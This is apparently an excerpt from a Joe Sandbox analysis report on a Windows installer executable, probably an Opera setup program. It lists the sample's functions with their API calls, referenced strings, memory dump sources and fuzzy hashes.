Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: B321A7715007049BCB309F38DA48B5B7BF4AF82714B00893DE9A6B72E0D778E904CB58

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1

Part of subcall function 00406273: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406289

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 446e4d9e8c1d4a14347065386ac826de02e691f6a80b4fecd99ec428265b0f29
Instruction ID: b311e590087b617af27c489dd20f6d509b220c8bdff7a9a3342c218b0a6eff93
Opcode Fuzzy Hash: 446e4d9e8c1d4a14347065386ac826de02e691f6a80b4fecd99ec428265b0f29
Instruction Fuzzy Hash: 57511D75D04119AADF20EFD4CA85AAEBB79FF44304F14817BE501F62D0D7B89D828B58

Function 00405727 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
lstrlenW.KERNEL32(004030CD,0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
lstrcatW.KERNEL32(0043A728,004030CD,004030CD,0043A728,00000000,00000000,00000000), ref: 00405782
SetWindowTextW.USER32(0043A728,0043A728), ref: 00405794
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 2ee65e7083464dabd9b9679093671ff8473f9e09a681baeda15732d5d792e9f2
Instruction ID: 03453bb2bff48f2ebe7eef3f6a9ba8bdb22b1403b4f5d045e67352473deb1f71
Opcode Fuzzy Hash: 2ee65e7083464dabd9b9679093671ff8473f9e09a681baeda15732d5d792e9f2
Instruction Fuzzy Hash: E221AE71800218FACF019F65DD8498FBFB8EF45354F10803AF944B22A0C77A8A909F68

Function 00403053 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 0040306E
GetTickCount.KERNEL32 ref: 0040308C
wsprintfW.USER32 ref: 004030BA

Part of subcall function 00405727: lstrlenW.KERNEL32(0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(0043A728,004030CD,004030CD,0043A728,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(0043A728,0043A728), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 004030DE
ShowWindow.USER32(00000000,00000005), ref: 004030EC

Part of subcall function 00403037: MulDiv.KERNEL32(00000000,00000064,000377E3), ref: 0040304C

Strings

... %d%%, xrefs: 004030B4

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 166ce091c32d309e4fa310a444bcd8b9ff139d0f29b7c4b4c095a56911891c85
Instruction ID: b005de13b07ab1df3b0a0d37ac4da2542258f94e3c9e0ca78ad4bdefce21122a
Opcode Fuzzy Hash: 166ce091c32d309e4fa310a444bcd8b9ff139d0f29b7c4b4c095a56911891c85
Instruction Fuzzy Hash: B901CC70402220EBCB21AF51AE4AA6B7F6CFB00B46F14457BF441B11D4DAB84540DBAF

Function 00404FDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404FF7
GetMessagePos.USER32 ref: 00404FFF
ScreenToClient.USER32(?,?), ref: 00405019
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040502B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00405051

Strings

f, xrefs: 0040502D

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: 35c53ee3dfde216a4a17f9e8076a2c946c4c65f0c866826bb74e9a6ab3448864
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: F3015E31900218BADB00DBA4DD85BFFBBBCEF55711F10412BBA51B61D0D7B49A058BA4

Function 00402FB8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
wsprintfW.USER32 ref: 0040300A
SetWindowTextW.USER32(?,?), ref: 0040301A
SetDlgItemTextW.USER32(?,00000406,?), ref: 0040302C

Strings

unpacking data: %d%%, xrefs: 00402FF8, 00403008
verifying installer: %d%%, xrefs: 00402FFF

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: f8ef608f1f7aebad9f190b0f8632da2cbee9a529c9542a92035af67f4cb09c9f
Instruction ID: f5d0dfdab9bbc179110c2e882a8d19bdfb033941f80f33e9338fd5ae6b2d935a
Opcode Fuzzy Hash: f8ef608f1f7aebad9f190b0f8632da2cbee9a529c9542a92035af67f4cb09c9f
Instruction Fuzzy Hash: BDF0317054020CABEF209F60DD4ABEE3B6CEB04349F00803AFA45B51D0DBB996598F99

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: fb46b4e8df1db46309afd02b3fdc802fdc32471e2582139a23931f61c0d3c173
Instruction ID: 2a34c59540e1e2abd0e75fc718a4647e5be88802d3978a8477eddc4b0ca47f36
Opcode Fuzzy Hash: fb46b4e8df1db46309afd02b3fdc802fdc32471e2582139a23931f61c0d3c173
Instruction Fuzzy Hash: 2531B171D00124BBCF21AFA5DD89D9E7E79AF45364F14023AF411762E1CB794D418F68

Function 00404ECE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00442748,00442748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F6F
wsprintfW.USER32 ref: 00404F78
SetDlgItemTextW.USER32(?,00442748), ref: 00404F8B

Strings

H'D, xrefs: 00404F61
%u.%u%s%s, xrefs: 00404F59

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H'D
API String ID: 3540041739-2781796796
Opcode ID: 60bc0f88830695825215d5d13d670849f6c8cdac88fb7759c02a5879209dc451
Instruction ID: afccc7aac3e313c9cd9c08cd77de86888644faadf6bfb13213ca5942e74a4345
Opcode Fuzzy Hash: 60bc0f88830695825215d5d13d670849f6c8cdac88fb7759c02a5879209dc451
Instruction Fuzzy Hash: 2311B7739041283BDB0065AD9C46E9E369CEB85374F254637FA26F71D1EA79CC2182E8

Function 00406950 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069B3
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004069C2
CharNextW.USER32(?,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069C7
CharPrevW.USER32(?,?,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069DA

Strings

*?|<>/":, xrefs: 004069A2

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 7c4491ab095b24fecdd0000f8ec6f0e383ca7ce11269c465865605e120ff5cd6
Instruction ID: ee050b90af12f7da754e5e1a7cefda923f304df8a209a79dab08f9ec4fc7f4f9
Opcode Fuzzy Hash: 7c4491ab095b24fecdd0000f8ec6f0e383ca7ce11269c465865605e120ff5cd6
Instruction Fuzzy Hash: 0311B695800612A5DB303B148D40AB7A2F8AF55794F52403FED9AB3AC1EB7C4C9286BD

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: b11fc5b6ae31e3f7bcdb9db3b4e616a20ad73eae00ded2b204568f86272eb2db
Instruction ID: 5e325e4eb8c599eaadb2b1545cb8ec7488c9788084a271734582f96bfbf33a22
Opcode Fuzzy Hash: b11fc5b6ae31e3f7bcdb9db3b4e616a20ad73eae00ded2b204568f86272eb2db
Instruction Fuzzy Hash: FA213D7150010ABFEF129F90CE89EEF7B7DEB54388F110076B909B11E0D7759E54AA64

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6959fe0fb51f26aaa33814d0e10720d0f48c0e6d4b98dacb20f991dbe6298ab2
Instruction ID: 8b1e6a7b1bb1698afdfead794f6417fbb3764ba01e46f9acc2dad3d3b5bdcb0f
Opcode Fuzzy Hash: 6959fe0fb51f26aaa33814d0e10720d0f48c0e6d4b98dacb20f991dbe6298ab2
Instruction Fuzzy Hash: 26213B72D04119AFCB05DF98DE85AEEBBB5EB08300F14003AF945F62A0D7749D81DB98

Function 00401E73 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0041E5F8), ref: 00401EF8

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e7f7f24e504178032ddcf332a7fccd4deaa03fd5eea84bddf963d4e06575246e
Instruction ID: 75d1d1a794b0a88cdf1cba10915d0c929158808af8533b27f0e618500a238d04
Opcode Fuzzy Hash: e7f7f24e504178032ddcf332a7fccd4deaa03fd5eea84bddf963d4e06575246e
Instruction Fuzzy Hash: 5C01D475900260FFEB005BB5AD0DBDD7FB0AB29300F50C83AF542B61E2CAB904448B2D

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 1c3a48323f680e00e8acd0968ad6ddb622719981f6bb572e47461f8d3efade9b
Instruction ID: 9c099894a08b5387b140c0c6ceeae01ce9e162d44e3ef65fd99a7f94bc085c8a
Opcode Fuzzy Hash: 1c3a48323f680e00e8acd0968ad6ddb622719981f6bb572e47461f8d3efade9b
Instruction Fuzzy Hash: 00219E71D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B889418B98

Function 0040569B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004056CA
CallWindowProcW.USER32(?,?,?,?), ref: 0040571B

Part of subcall function 0040466D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040467F

Strings

, xrefs: 004056AB

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 40cceb3117afc414cce41506be3bec60ebea1126e7aded61cc02dde06f92d8ba
Instruction ID: 4a72d77d5ba7db911775b8fd6e8698557fa8fe3088d7b3c11d294ca78c68b4d0
Opcode Fuzzy Hash: 40cceb3117afc414cce41506be3bec60ebea1126e7aded61cc02dde06f92d8ba
Instruction Fuzzy Hash: 6801B131100708EFDB204F90DDC0A9B3665FB80750F504036F605761D1D77A8C91EE2D

Function 00406570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,0043A728,?,00004000,00000000,?,0043A728,?,?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,?,00000000,004067E1,80000002), ref: 004065B6
RegCloseKey.ADVAPI32(?), ref: 004065C1

Strings

"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 00406577

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CloseQueryValue
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
API String ID: 3356406503-3663954162
Opcode ID: 4117ffae9e6ae2217b5f66a14d7ba68cab57efcdd57ed39205f80f17492d778b
Instruction ID: 7e3264d492d8171c025e68cf2784a3a6e2d975f6d7be64ef5dd4a0d5c385ab57
Opcode Fuzzy Hash: 4117ffae9e6ae2217b5f66a14d7ba68cab57efcdd57ed39205f80f17492d778b
Instruction Fuzzy Hash: E1017C72500209BBDF218F55DC09EDB3BA8EF54364F01403AFE16A2190E378DA64DBA4

Function 004060F7 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406107
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040611F
CharNextA.USER32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406130
lstrlenA.KERNEL32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406139

Memory Dump Source

